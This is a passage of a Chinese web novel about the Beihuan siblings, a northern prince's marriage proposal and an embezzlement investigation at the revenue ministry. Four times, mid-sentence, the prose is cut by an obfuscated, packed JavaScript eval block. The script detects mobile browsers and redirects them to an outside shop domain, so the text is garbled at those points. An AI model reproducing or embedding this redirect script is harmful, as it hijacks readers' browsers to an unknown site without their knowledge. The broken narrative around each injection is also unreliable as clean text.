若是牺牲一人灭一国,这买卖陛下做得。 北寰言想起之前在西域黑市,北寰舞说有乌商在西域频繁活动。 难不成是这大狼主三子漠勒想要夺权而进行的联络西域诸国的行动? 马车很快到了朱雀大街的藏息阁。 北寰舞这段时间都在藏息阁里吃住,她基本已经把这几年户部调任官员查清楚了。 她筛选出几个可疑的人正要给北寰言送去,不曾想,郭学林拉着北寰言着急忙慌地来找她。 “你们俩怎么?”北寰舞看见他俩气喘吁吁地来,不由生疑。 郭学林把万寿节乌族递国书一事跟北寰舞讲了一遍,道:“漠勒是来和亲的。” 北寰舞沉思片刻,看了一眼北寰言又看了一眼郭学林问:“你们觉得漠勒是冲我来的?” 北寰言点头,神情肃穆:“八成是。回想他们在南境、西境布局,北境这次事很有可能也是想拉安王府下水。漠勒十九还未成婚,这事不是偶然。” “郡主,”郭学林接着道,“之前你怎么使性子不想定亲,陛下宠溺郡主都会由着你,但只有这件事不同,若是漠勒提出要娶你,陛下绝对会考虑!毕竟以你身份为和亲,可以挟制住乌族,你身后有北境三十万大军,借着送亲的由头调集精锐踏平北境乌族,这事陛下干得出来!” 北寰舞看着这两人疾奔而来,满头是汗不由得捂嘴嗤笑了一声:“看把你们急得。进来坐下说罢。” 北寰舞转身往藏息阁里去。 郭学林往北寰言身边靠在他耳边低语:“我怎么感觉她反应不太对?” 北寰言也不知道北寰舞在想什么。 聚信堂里堆了一堆书册,寒期起正在着人把这些书册都整理归位。 北寰舞跪坐在矮桌前,懒懒地茗了一口茶,看着郭学林与北寰言一脸疑惑地坐下,道:“你们怕我成为陛下与乌族和亲的棋子?” 郭学林连连点头。 “你们此番前来,定是想出了对策来告诉我的呗?”北寰舞挑眉,眉眼潋滟地盯着郭学林。 北寰言垂眸不言,郭学林倒是被北寰舞盯得有些不知所措。 “说来听听。” 北寰舞身子微微前倾,她眉眼带着夏日灼热,靠向郭学林,红唇烈焰一张一合带着说不清地勾.引。 郭学林像是被火撩了一般,心口闷热,心跳骤然加快。 这一眼,便把他练了一路的说辞给全部烧没了。 北寰舞见郭学林抿唇不言,便主动起身爬到郭学林身边,胳膊搭在他的肩膀上,身子力量全部依着他,复又粘稠地问了一遍:“你是不是想到法子了?说来听听啊……” 郭学林肩膀一沉,心神恍惚。 北寰舞见他不说,便随手捏起郭学林挂在腰间的玉佩把玩,漫不经心地道:“你想先漠勒一步给我下订婚书,即便是漠勒想要我,陛下也会碍于婚书,碍于郭家的面子,不会随便毁了这桩婚事是吗?” 郭学林深吸一口气,定住心神:“只要郡主不嫌弃我……” “你知道我跟时均白有了肌肤之亲了吧?”北寰舞忽然敛了眸光,锋利地盯着郭学林,在他耳边呢喃。 郭学林受不了北寰舞这伏在耳边的热气,他从未有过这般心绪。 他以为他不在乎。 可真的听到北寰舞说她与别的男人的事,郭学林竟然觉得身体某一处有一种不易察觉地痛正在缓缓蔓延。 北寰舞见郭学林眉宇逐渐凝重,便又靠近了些,让自己身上香甜气息萦绕在郭学林身边,用更加粘稠的声音在他耳边低语:“郭公子,真的不在乎我曾经委身于他人……” 郭学林轻咳一声,立即侧头避开北寰舞浑身散发出来的味道。 他下意识地向后挪了挪。 这一举动足以向北寰舞证明,他是在乎的。 北寰舞看着郭学林避开的动作,眼眸渐冷。 郭学林知道自己唐突了,连忙道:“我……不是嫌弃郡主,只是……只是……” 郭学林不知道该怎么解释。 直到今日亲耳听见北寰舞说她与时均白的事,郭学林才知道自己对北寰舞的心思远超出了他可控制的范围。 他是真的喜欢她,因为喜欢,所以听见她与别的男子欢好,他会下意识地想要避开。 哪怕他嘴上说着不在乎,身体却是诚实的要命。 “多谢郭公子的好意。”北寰舞缓缓站起身,往屋外走去,“我自己的事,还是让我自己来解决罢。毕竟我若答应了你而后又驳了婚约,那便是打郭府的脸。中书令不会同意的。” 北寰舞走了,郭学林还没回过神,他没想到对和亲这事北寰舞会这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928716|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡定。 一点都不像是那只不能被驯服的野马。 等郭学林回过神发觉连北寰言都不见了。 * “小舞。”北寰言在后花园回廊上追上了北寰舞。 北寰舞停住脚步,侧身转向了回廊一边,看着廊下池塘里盛开的荷花。 夏风熙熙而过,把她青色的衣衫吹得翻飞。 她一改之前那副妖灼的模样,回归清冷。 她手里死死攥着时均白留给她的红玉,目光不知落在何处。 “小舞。”北寰言走过去缓缓道,“你可以回暮云峰避避风头。反正漠勒也只是想和亲,在宫里随便找个宫女封了公主的头衔,嫁给漠勒,也算是联姻。那不过就是一种结盟的方式,你在不在都行。” “哥,”北寰舞侧目看向北寰言,“我不会走的。” “小舞!”北寰言很少看见北寰舞如此决绝的模样。 “我们生来就带着皇家血脉,我们所做的一切,要符合百姓供养。”北寰舞道,“这次漠勒若是真的是求娶我,我避开这事,即便是漠勒没娶成,陛下也会对我们安王府心存芥蒂。身在皇族的女儿,嫁给喜欢的人,从来都是一种奢望,我省得的。我们与陛下之间的误会已经够多了,我不想因为我徒生枝节。” 北寰言走过去,缓缓地握住北寰舞的手,把她拉得转过身面朝他。 “哥……”北寰舞眼眸微红,“如果我们不能解决这件事,抓住那个一直藏在幕后的人,我嫁给谁,亦或者谁嫁给你,都会永远生活在恐惧中。如果这事是我必须经历的,如果这事是对方专门为我、为我们设的局,那我必须去做。” 北寰言看着北寰舞深吸一口气把眼泪都塞了回去,满身镇痛。 北寰舞再抬眸的时候,眼神坚定:“我不怕,你也不要怕。郭家公子是个好人,好人就不该因为我而有了污名。我不会答应他的,他以后会找到比我更好的姑娘。我们的路从一出生就注定了,跟你来许都,我不后悔。你千万不要让我后悔。” “嗯。”北寰言低头,轻轻地拂去北寰舞睫毛上的泪,“我来想办法。我们一起想。一定有什么事是我们还没有注意到的。对方这盘棋,快下到终盘了。” * 暮云峰上,北寰洛也接到了藏息阁来的消息。 她静静地坐在回廊里,看着廊下盛开的紫色鸢尾,眸低暗云翻涌。 许安归练剑回来,看见北寰洛坐在风口,不由得蹙眉,走过去道:“怎么在这里吹风?” 北寰洛手上拿着藏息阁的信,抬眸凝望许安归,神情肃穆。 自从他们归隐暮云峰,他很少看见北寰洛有如此神情。 他不问朝堂,过得逍遥自在。北寰洛手上却一直有藏息阁的消息送过来。 北寰洛看一眼许安归,又收回目光,继续看着廊下的鸢尾眼神阴冷。 许安归心中一沉,走过去拿过北寰洛手上的信看了一遍,道:“三子漠勒想要借着这次贺寿,跟东陵借力回去夺位。” “嗯。”北寰洛缓缓应了一声。 215. 下山 “你是怕陛下让舞儿去和亲?”许安归垂眸,盯着北寰洛。 “东陵这些年粮草富足,可那不代表北境军可以深入北境草场与乌族一较高下。”北寰洛眼眸微眯,“这是陷阱。这是他们给许景挚下的一个陷阱。” 许安归收好信,问北寰洛:“你想我怎么做?” 北寰洛抬头看向许安归:“你不是不理朝廷的事……” “这不是朝廷的事,是有关舞儿终身大事。”许安归道,“我虽然不喜欢时均白,但我更不喜欢漠勒。舞儿跟时均白好歹还在东陵境内,成婚以后还能见到。但若是舞儿和亲,这辈子便再也不能相见了。而且乌族那兄终弟及的妻妾制度,全然不顾礼法伦理,我必然不可能让舞儿去受苦。你只告诉我,现在我要如何做才能助他们破局?我去跟陛下请命,去北境领兵,打退乌族边境线百里如何?!” 北寰洛看着许安归。 他即便是人到中年,眉眼处依然有那些散不掉的意气。 他说这话的时候神情绝然,一脸只要你说我就去做的决绝。 看着他跃跃欲试的样子,北寰洛心中那一丝忧愁忽然就没了。 她轻笑,道:“那倒也不必。对方放出这招,不过就是为了引蛇出洞。我们只需要借力打力,便可破局。” 许安归挑眉,蹲下身,揽着北寰洛轮椅:“如何做,你说。” 北寰洛勾勾手,让许安归离近些,在他耳边嘀咕了几句。 许安归道:“这就这样?” 北寰洛点头:“就这样。” 许安归虽然不解,但是北寰洛在这些事上向来算无遗策,她若是说这样既可,那便不会有错。 看来她相信他们的孩子能依着这点助力就能破局而出。 “我这就去修书一封,给舞儿寄去。”许安归说罢便要回屋。 北寰洛目光转向时均白居住的山涧小谢,转身滚着轮椅就往他院子里走。 时均白这段时间把自己关在屋子里做了十多个风隼模型,可无一例外都在试飞的过程中坠毁了。 时均白屋子里到处都是图纸跟模型材料残渣。 北寰洛来的时候,时均白正坐在回廊上,打磨他下一个模型。 看见北寰洛来,时均白立即放下手中的东西,过去推她:“师叔。” 北寰洛让时均白不用如此,自己滚着轮子去回廊上捡起他画的图纸:“怎么样了?” 时均白摇头:“飞一会儿就坠了。我一直在找更轻的材料。” 北寰洛侧头去看时均白问:“你不想去许都看看舞儿吗?” 时均白听见师叔说北寰舞,不禁抿紧唇齿。 “藏息阁消息说,北境乌族使臣贺寿使臣很快就要进许都贺寿。”北寰洛轻轻放下图纸,“大狼主三子漠勒带队而来,八成是来求婚的。” 时均白不懂朝局,他迷茫地望向北寰洛。 北寰洛缓缓道:“萧皇后不会让自己的唯一的女儿远嫁,皇族宗室里现在适婚的女子只有舞儿。漠勒若是真的一心来寻求势力,必定会想娶舞儿。” 时均白上齿紧紧咬住下唇:“若是陛下真有这心思,我去看她,也不会改变陛下心意。” 时均白这段时间在暮云峰上没跟他们提过北寰舞的事。 可他总没事就望着北寰舞在山脚的屋子发呆。 北寰洛看他如此,便许他进北寰舞的院子。 现在他亦是在北寰舞的院子里打磨他的风隼模型。 他想她。 他们分开之后五个月未见,时均白看上去更单薄了。 北寰洛拿起时均白刚刚做好的模型,颠了颠重量,这孩子心里有心事,没有以前想事那般灵敏,所以忽略了很多他应该发现的问题。 她随手从地上捡起一块石子,塞进风隼里压住风隼重量,随手一丢,让风隼在空中滑翔。 风隼宛若一片羽毛,借着最开始那一点点力量在空中盘旋不落。 时均白看着这风隼愣神,他久攻不破的难题就这么被北寰洛一颗石子解决了。 北寰洛笑得好看:“现在有理由下山了。” “师叔……”时均白眼眸微红。 北寰洛递给他一个北寰府的牌子,道:“风隼能成是你与时寻的功劳,拿着我的牌子去许都外三十里地的麒麟山。时秋蝶在那里监工铸造新式武器,你把这带给她,她自会跟兵部汇报。有了风隼,我们不仅不会怕西域那巨大的弓弩车,还有了巡航北境的能力。这石子就是压在风隼上的粮食补给,只要风隼的数量够多,陛下随时都能起兵北伐。就——不用依靠和亲来收复北境了。” 时均白拿过北寰府的牌子,愣愣地看向北寰洛。 北寰洛伸手,拉过时均白,轻轻地抱住他,在他耳边跟他交代:“舞儿虽然任性,可她跟她哥哥一样,是为帝国繁盛而生。这场联姻若是需要她去,她不会逃避。她深知自己肩上的重任,不会置安王府于被动境地。” 北寰洛起身,捏着时均白的胳膊,望着他温声道:“可是暮风,我希望你们幸福。你们生在盛世之下,没有什么东西是需要你们牺牲自己去完成的。你与舞儿两情相悦,我希望你们能在一起,一日看尽长安花。” “师叔……” 这些时日时均白不敢触碰的回忆,在这一瞬如春潮一般融入他的心间。 那里有草长莺飞的盛景与他无法抑制的情绪一起逐渐繁盛。 他缓缓蹲下,伏在北寰洛的腿上,颤声轻问:“我真的可以吗……我不是世家子,小舞跟我在一起,我也没办法给阿言任何助力……我怕我会成为她的负担。” 时均白不怕事。 他害怕的是他没办法进入北寰舞所在的地方。 那个地方全是荆棘,每走一步都是满身伤痛。 “言儿聪慧,”北寰洛摸着时均白的头发,望向黑幕中那轮明月,“他一定能护好他身边的所有人。再不济,还有我呢。” 暮云峰四季如春,北寰洛却一直有着冬日霜寒清醒:“只要我在一日,我就不会让那些人碰我的孩子。只要他们敢轻举妄动,我便要他们十倍偿还。当年我能赢,现在我依然能。你放心去便是。” 时均白吸了吸鼻子,站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942964|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,撩袍后退三步,跪下给北寰洛磕了一个头:“师叔,我想娶小舞。请您与安王殿下成全。此番去许都,我一定把小舞还有阿言一起平安带回来。” 北寰洛轻笑:“那两个孩子,就拜托你了。这天下终究是你们这些少年人的。” 当夜,时均白就收拾行囊自行下山了。 许安归不放心,让戍南护送时均白到许都外的麒麟山再回来。 安王府门口许安归负手而立,北寰洛缓缓滚着轮椅过来,牵住许安归的手:“暮风跟舞儿的事,我就当你答应了。” 许安归不悦:“我何时说我答应了?” 北寰洛轻笑:“你自己说的啊?跟漠勒比,你更愿意舞儿跟时均白在一起。好歹嫁出去,还能回来小住不是?” “那,”许安归想了半晌,“不是没得选?” 北寰洛看他口是心非,打趣他:“今年恩科状元郭学林好像也中意舞儿。” 许安归越想越烦,郭学林以后这是要登阁拜相的,儿子入朝就算了,怎么他还要赔上女儿? “郭学林不行!”许安归甩袖就往回走。 “看看,大狼主三子不行,恩科状元郭学林也不行。”北寰洛跟着他往回,“这么比下来,是不是暮风是一个很好的人选?” 许安归不言。 北寰洛看着他一脸拗性觉得有趣。 一提到北寰舞的婚事,许安归就烦躁。 他就这么一个女儿,怎么还没养够就要送到别人家去? 谁规定的女子及笄就要议亲? 他当年不该去当兵部尚书,合该去当礼部尚书把这条国法给改了! * 半个月之后,北寰舞收到爹爹的信。 她打开看,里面写了些闲话。 最后,许安归说他在北境马场选了三千种马,准备送给西境军,他让北寰舞挑个时候,给西境军送去。 北寰舞看着这信愣了好半天,正巧北寰言从大理寺回府,北寰舞便带着爹爹的信去蔚兮堂找北寰言。 北寰言回屋换常服。 北寰舞看见北寰言屋门关着,老老实实地外面叩门。 自上次以后,北寰舞再也不闯北寰言的屋子了。 她知道北寰言长大了,他现在个头窜得快,已经不再是那个跟她站在一起雌雄莫辨的少年了。 北寰言换好衣服开门出来,北寰舞把信递给他,让他看。 “父亲……没说别的了?” 北寰言把信翻过来,生怕看漏了什么。 北寰舞摇头:“就这一张纸。” “……” 北寰言深吸了一口气,看不懂这封信来意。 “哥哥……你说这是什么意思啊?”北寰舞弄不懂,为什么爹爹忽然给她写信,要她送西境军三千北境种马。 北寰言踱步到院子石桌边,缓缓坐下,分析道:“藏息阁应该给母亲去信了,最近许都大事就是万寿节大狼主三子漠勒要来贺寿。既然我们知道漠勒此次来朝的目的是为了借助东陵的力量回去与自己的哥哥争权,母亲肯定也能想到。” 216. 胆大 “你是说这信是娘亲让爹爹写给我们的?”北寰舞睁大了眼睛。 北寰言点头:“恐怕是的。这是母亲助我们破局的一颗棋子。” 北寰言把信放在桌上,手肘撑着身子,静静地盯着这信。 给西境,三千匹北境种马…… 北寰言拇指与食指缓缓磋磨,心中思绪翻了几个来回。 “阿言。” 蔚兮堂外传来郭学林的声音。 北寰言与北寰舞双双回头。 自从郭学林与北寰言交好之后,来临府便不需要专门送拜帖来人通报,北寰言交代门房看见郭学林来,如果他在府上,就放他进来。 郭学林绕过回廊,越过假山池塘,撩起夏枝繁盛的垂柳才看见北寰言与北寰舞都在院子里。 自上次北寰舞明确拒绝郭学林的提议之后,她对郭学林的态度便好了不少。 郭学林是心思深沉,城府极深,可他没有坏心思。 他想与他们俩交好,愿意赔上自己的身家清白,这便是他最大的诚意。 北寰舞回眸,远远地望着他,嘴角挂着笑。 忽然北寰舞见面不挤兑他,也不发脾气,这让郭学林有点不适应。 这般温顺的北寰舞,郭学林不敢看得太多。 他微微侧目垂眸欠身一礼:“郡主。” 北寰舞温温回道:“府里见就不用这些礼节了,显得生疏。” “是……” 郭学林唇线紧抿,心口悸动愈加明显。 以前郭学林见北寰言都是自来熟,无话不说,怎么今日来变得这么含蓄。 北寰言见郭学林不说便主动问:“有事?” 郭学林这才想起来,忙道:“是。” “嗯,”北寰言指了指对面的位置,“坐下说。” 北寰舞站着,他不敢坐。谁知道这小祖宗今天没怼他是不是因为心情好的缘故。 郭学林连忙摇头:“我站着说。” 北寰舞看郭学林这样,没忍住,偏过头去笑了好一会儿才道:“郭公子以前见我可不是这样拘束,生怕敛了一点锋芒就叫我看不上,怎么今天改了性子?” 郭学林讪讪一笑。 “一起坐下说罢。”北寰舞先坐,郭学林才敢跟着一起坐。 夏风带着北寰舞身上那股若隐若现的香甜直往郭学林身上扑。 当真是没这般和平与北寰舞相处,郭学林不知道跟这姑娘坐在一起竟然也需要些勇气。 “户部侍郎家的儿子……”郭学林轻咳了一下,“秦谷这些年倒是有发迹的迹象。我记得早些年他在世家子中还是一副生活窘迫、处处拿不出的样子。昨日猛然看见,身上多了不少贵重物件。” 说到户部侍郎,北寰舞也有话说:“以你之言,那户部侍郎秦中确实可疑。他入京不过八载。在御史台待了一年,便被调入户部仓部做主事。后他在户部四司轮值,正巧是五年前最后轮到金部当主事。军饷向来由金部拨付督运,我们从西境城门一路查回来,城门数都跟西境对得上,只有从户部账簿对不上,八成即是秦中在户部金部当主事的时候,在账册上做了手脚。” 郭学林点头:“秦谷原本是凑不到我面前来的,可最近借机来找我吃席的世家子太多,也不知道是谁把秦谷带到了席面上,我跟他打了个罩面,这才看出不对。” “胆子真大。”北寰言手指轻叩桌面,“现任户部侍郎秦中,竟然直接做空了户部的账。若不是我先前查朝廷六部记住了这账簿,再去西境查账,怎么也不可能查出西境军军饷跟户部对不上……” 郭学林嘶了一声:“怎么兵部那么多人没察觉西境军军饷有问题?” 郭学林虽然日日跟在祖父身边学习却不上朝,不明白如今六部事务是如何运作的。 北寰言解释道:“尚书令宋谏能力卓然,早些年陛下还过问六部事宜。只是这些年国泰民安,四海升平,没有大的事,陛下都让尚书省自己商量解决。 “很多事在朝堂议事的时候只是给个大方向。 “陛下顶多在上朝的时候跟户部说增加西境军军费预算,至于加多少,怎么加都是户部与兵部协商解决。 “朝堂上没有给个增加军饷的明数,兵部自然也就不知道具体数额。哪怕后面两部协商增加军费,若是接洽人是秦中,他也有办法统一说辞。 “他在那个位置上,想要做账蒙蔽西境军与兵部还是有很多办法的。一般人不敢,也不会这么明目张胆地做户部的账。谁都没想过有人敢这么干,秦中大约东陵开国以来的第一人。” 郭学林点头,表示自己听明白了:“可,若是要利用这案子办户部四品官员,还需要确凿的证据。” 北寰舞接过话头:“这好办。只要是知道秦中儿子是个纨绔,就可以在许都各大花楼里查他的账。把秦谷的账目查出来了,秦中难辞其咎。他必须跟朝廷解释他儿子巨额开支是从哪里来。” 北寰言颔首道:“还是要查清楚秦中到底为何要冒如此大风险做空户部的账,不然到时候对峙,问他要实话,他也能拼死抵赖。” 北寰舞撑着下颚望着北寰言轻笑:“我们似乎可以借着这人,顺藤摸瓜……秦中现在动不得。他一定要替我们拉出另一条线索,再不济,我们也要断对方一只胳膊。” 北寰舞宛若一朵展开的芍药,她那懒散闲适的样子,像是躲在阴凉处跟烈日玩捉迷藏的小猫。 郭学林从未觉得这姑娘看一眼,竟然会让人如此舍不得挪开。 三个人坐在这,你一言我一语就把对方埋在西境的一颗棋子收入囊中,想着要怎么在这件事扳回一城。 郭学林不敢跟北寰舞待的时间太长。 也不知道是不是年纪渐长,郭学林以前还小,对情爱这些事并不在意。他觉得娶谁不是娶?北寰舞也好,这性子不会让他无趣。 他觉得北寰舞应该跟他一样不会被情事所扰。 他们在一起可以各取所需。 可上次北寰舞明着拒绝他了以后,对他态度转变让郭学林不禁反思自己这心思是不是表现的太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963670|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意,所以北寰舞根本不考虑他。 但他不知北寰舞是把他当成朋友才会对他心生怜惜,什么事都不想牵扯他,想要换一条路走。 北寰舞不再对他咄咄逼人,收敛了行容,也是一个真正养在大内长大的金枝玉叶。 只是她在外野惯了,即便是温婉贤淑也有个度。不说话还好,一说话便破了功,还是那个张牙舞爪、逮住谁就咬谁的小野猫。 “学林。” 北寰言唤了一声,看郭学林颔首不知道在想什么,拍了他一下。 “啊?!”郭学林回过神,看向北寰言。 北寰言狐疑地盯着他,看他目光似有似无地往北寰舞那瞟,便也不深究,只道:“父亲给我们写了一份信,托我们办件事,你看看。” “安王殿下的家书?”郭学林有些惊愕,有微微颔首道,“我看合适吗?” “无妨。”北寰言把桌上的信纸推到郭学林身前。 郭学林拿起来细细看过,蹙眉道:“安王殿下要送三千北境种马给西境军?!” “嗯。”北寰言道,“这事对应的应该是漠勒。是母亲给父亲出的主意。” 北寰言忽然这么说,郭学林也没反应过来这到底跟解局有什么关系。 北寰舞饿了。 看见他俩都看不出所以然,便不想了,站起身,伸了个懒腰,问郭学林:“郭公子在府上用饭吗?” 郭学林连忙摆手,说家里还有事。 说罢便起身告辞。 北寰舞一脸疑惑地看着郭学林走,问北寰言:“他这是怎么了?放以前不留他用饭,他都要死皮赖脸的蹭一顿饭,现在留他吃饭,他反倒不吃了?” 北寰言缓缓把信收好,还给北寰舞:“看不出来吗?他看见你就心慌气短,挨着你坐说话都不顺畅。你说为什么不留下用饭?你把人拒绝得那么明显,他这么心高气傲的一个人,怎么会明知道你心有所属,还在这里招人烦?” 北寰舞对郭学林的印象一直是他俩第一次在公主府见面,他算计她的样子。 这样一个聪明的人,怎么会真的喜欢人? 他那点深情,如果可以他都愿意拿来当垫脚石。 “你别说笑。” 北寰舞不信,北寰言也没什么好说的。 * 入夜,北寰言坐在廊下,墨发拢在身后,青衣随风轻浮。 他望着不远处的明月,神思游离。 从全城瘟疫案之后,他要查的事情太多,还没有时间好好地坐下来把所有事情从头到尾的捋一遍。 可真的闲下来,坐在廊下整理思绪,他总觉最近好像忽略了什么,导致整个事情都不顺畅。 那东西其实一直都在他眼前晃,但就是想不起来缺的是什么。 凌信踏着月光而回,在院子里遇见北寰言。 北寰言回过神,忽然发觉,好像有很长一段时间都没见到凌信了。 “你最近在忙什么?”北寰言撩袍起身,“怎么感觉好久都没见到你了。” 217. 僵局 凌信走近,拍了拍身上的灰道:“最近宫里宫外不是在修招灵台?禁军与御林军除了当职的人,都排了班。我身上挂着御林军的腰牌,不好吃空饷坏了临府的名声,便让秋统领帮我排了班。” 北寰言让流风去给凌信提水,凌信伸着胫骨往自己屋去。 北寰言跟在身后,进了屋子,看他换下衣裳,帮他把衣裳递给卫昭,让他拿到浣衣房去。 “御林军排班都做些什么?”北寰言给凌信倒了一盏凉茶递过去。 凌信接过来,一口喝完,喘了一口气道:“其实都是负责一些搬运的体力活。禁军那边陆续有材料运到,宫里的材料由御林军去押运。一天十几趟,倒也不是很辛苦。就是要盯着工部招来的短工把东西卸下来,时不时要搭把手。” “招灵台修建的进度如何?”北寰言问。 凌信道:“我看地基已经打好了。就是那招灵台修得也太大了些。一个台子,修得比小芷住的蕊仙殿都气派。” 全城瘟疫案后的一个月的时间北寰言一直没进宫。 后来陛下许他去西境,他心里想着勤王府的事马不停蹄地就往西境去了。 回来这段时间一直在查户部的事,凌信现在说起来,他才后知后觉,招灵台那建设方案,他还没看过。 原来方才坐在那里想了许久都没想起来的事,是招灵台? 流风拎了两桶水进来,一热一冷。还要再出去拎水,凌信道:“不用再拿水来了。我就擦擦,赶紧睡了。这活每天都需要搭把手,身上洗不干净。今天洗了明天又脏了。” “你擦得到身后吗?”北寰言跟着凌信进了净房,“我帮你罢。” 凌信才不跟北寰言客气,他最近一直在御林军里帮忙搬东西累得很,有人帮他擦身子,他求之不得。 凌信褪下衣衫,北寰言才看见凌信也在长身子。 他俩个子从小就差不多高,现在长身子,个子也长得差不多快。 凌信一直比他稍稍高些。 他以前身上全是少年纤细的样子,现在他的每一块肌肉都有了雏形,腹部肌肉更是明显。 北寰言虽然习武,到底没有凌信每天训练量大,看着凌信现在日益精壮的身子,才惊觉自己与习武之人的差距。 北寰言兑了温水,才拿起皂角跟巾帕给凌信擦身后。 凌信看着北寰言轻笑:“我还没问你,上次你是不是……” “嗯。”北寰言淡然道,“我也不小了,想那事不是很正常?” 凌信看他一副淡然的模样,不像是装的,想来他已经迈过那个羞涩的坎了。 “郭学林带你出去,你遇见喜欢的姑娘了?”凌信调笑。 北寰言颔首不言。 “真好啊。”凌信撇嘴,“你们都有喜欢的姑娘了,我还是独身。我是不是对女人不感兴趣啊?怎么就没一个看得上的呢?” 北寰言不想接他这话。 凌信插着腰,望着房梁:“我以后不会落发出家吧?太傅说我对佛法还挺有悟性的。” “聪明的人,做什么都有悟性。”北寰言擦完身后,把绢帕与皂角递给凌信,“你若是真的想这事,可以自己选个合眼缘的姑娘回来……当通房。这样也不用回来以后,没人帮你擦背了。” 凌信回身看向北寰言,他一脸认真。 “谁教你的?”凌信一脸惊奇,“不会是郭学林吧?” “他说我们这个岁数,有通房很正常。”北寰言一本正经地回。 凌信翻了个白眼:“天天有个凌芷烦我还不够,我还要再找个女人来烦我?你是怕我太闲了是不是?你快去休息,我冲完也睡了,明天一早还要去猴山校场押石料进宫。” 北寰言被凌信推出净房。 凌信觉得凌芷很烦吗? 北寰言蹙眉,转身出去了。 他回屋躺下想着明天要去翰林院找郭学林一趟。 那工部修建招灵台的方案他要好好看看。 * 翌日北寰言踩着翰林院点卯的时间去找郭学林。 自从北寰言升任大理寺少卿,就没进过翰林院。这也不怪他,他在大理寺事务缠身,又经常去外地查案子,升任以后没再回来也是常事。 翰林院的同僚们看见北寰言来纷纷欠身行礼。 北寰言与同僚们客套一番便去找郭学林。 郭学林刚从朝上回来,看见北寰言在内堂喝茶,连忙过去问来找他什么事。 北寰言道:“我想看看工部招灵台的方案。这里应该有吧?” 郭学林点头引着北寰言去存放工部的卷宗的地方。朝廷上所有的文书、六部卷宗翰林院都有备份。 这是供翰林们学习查阅的。 郭学林找出招灵台的具体方案递给北寰言,让他先看,他手头刚接了起草回馈给各国万寿节国书的工作,现在就要去忙。 北寰言让他去忙,自己坐在桌前一一翻看。 北寰言先是大概的浏览一遍,最后目光落在这文书呈交的日期上。 这日期,是陛下招六部长官去御书房议事定下要建招灵台,说陛下亲自登台祭祀,告慰亡灵的第二日。 北寰言敛了神,静静地往回翻,从头到尾仔仔细细,看了个遍。 石料走的是西境采石场,木料走的是南境伐木场,建筑工是工部从各地召集工匠来修。 就连石料、木料的种类,重量,大小,都事无巨细陈列在册。 纵尚胸有成竹,知道这事结束,陛下一定会建招灵台。 招灵台……招灵台…… 北寰言细细记住工部画设计图与建筑方位的舆图,便辞了郭学林。 北寰言回府第一件事就是把他记住的工部设计图与方位舆图复刻出来,让流云去蕊仙殿找北寰舞来,看他画的图。 北寰舞睡眼惺忪地过来,看见北寰言桌上的图瞬间就清醒了。 “这是最近全城在建的招灵台?”北寰舞绕过书桌,转到正面细细查看。 北寰言还在默这些材料的出处,跟各个方位使用材料的尺寸,重量大小。 北寰舞站在一边看北寰言默完,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978098|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你觉得这招灵台有问题?” 北寰言盯着他默的数字:“我不知道。但纵尚费尽心机,呈递上来的东西,应该有他的用途。看得出来有什么不对吗?” 北寰舞盯着沉默许久,道:“这些东西涉及到材料,还是时均白更清……楚。” 北寰舞没说完,就轻咳了一声,微微侧目。 有些人不提便罢了,一旦提到,那便是抑制不住的洪流。 北寰舞深吸了一口气:“沁春城柳宅藏尸案就是他们跟南雪一起做下的孽,若是说他这么好心想要给那些死去的人超度,我反正不信。” “可目前来看,这招灵台好像真的就是这个目的。”北寰言也不信,可这东西就是明晃晃地摆在那。 事情似乎陷入一种僵局。 蔚巡生不来,他们就无法打破这种僵局。 * 僵局一直持续到五月中旬。 蔚巡生终于带着世子妃、姚子安与三千西境军一起进入了猴山校场。 北寰舞骑马在猴山校场边山崖上,看着蔚巡生的马车与姚子安一起进入了猴山校场,唇角微扬。 她调转马头,往许都城里奔去。 北寰言站在蔚兮堂犯愁,这里一共就三间空闲的屋子。 时均白住的屋子已经让人把他的东西收拾干净了,可剩下两间屋子一间是他自己的一间是凌信居住的地方。 